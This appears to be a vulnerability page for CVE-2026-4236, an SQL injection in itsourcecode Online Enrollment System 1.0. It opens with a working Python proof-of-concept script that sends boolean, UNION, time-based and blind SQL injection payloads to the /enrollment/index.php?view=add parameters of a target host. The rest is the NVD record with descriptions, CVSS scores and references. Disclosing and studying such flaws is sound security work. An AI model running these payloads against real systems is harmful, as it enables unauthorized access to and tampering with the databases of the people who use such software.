CVE-2026-4236

import requests target_url = "http://target.com/enrollment/index.php" # SQL Injection PoC for CVE-2026-4236 payloads = [ "?view=add&txtsearch=' OR '1'='1", "?view=add&deptname=' UNION SELECT 1,2,3,4,5--", "?view=add&name=' AND SLEEP(5)--" ] for payload in payloads: url = target_url + payload print(f"[*] Testing: {url}") try: response = requests.get(url, timeout=10) if "error" not in response.text.lower(): print(f"[!] Potential vulnerability detected!") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Boolean-based blind injection test def test_blind_injection(param, param_value): true_payload = f"?view=add&{param}=' AND 1=1--" false_payload = f"?view=add&{param}=' AND 1=2--" r1 = requests.get(target_url + true_payload) r2 = requests.get(target_url + false_payload) if len(r1.text) != len(r2.text): print(f"[!] Blind SQL injection confirmed in parameter: {param}") return True return False

{"cve": {"id": "CVE-2026-4236", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:17.960", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in itsourcecode Online Enrollment System 1.0. Impacted is an unknown function of the file /enrollment/index.php?view=add. Such manipulation of the argument txtsearch/deptname/name leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en itsourcecode Online Enrollment System 1.0. Afectada es una función desconocida del archivo /enrollment/index.php?view=add. Tal manipulación del argumento txtsearch/deptname/name conduce a inyección SQL. El ataque puede ser realizado desde remoto. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/yuji0903/silver-guide/issues/10", "source": "[email protected]"}, {"url": "https://github.com/yuji0903/silver-guide/issues/12", "source": "[email protected]"}, {"url": "https://itsourcecode.com/", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351159", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351159", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771239", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771241", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771242", "source": "[email protected]"}]}}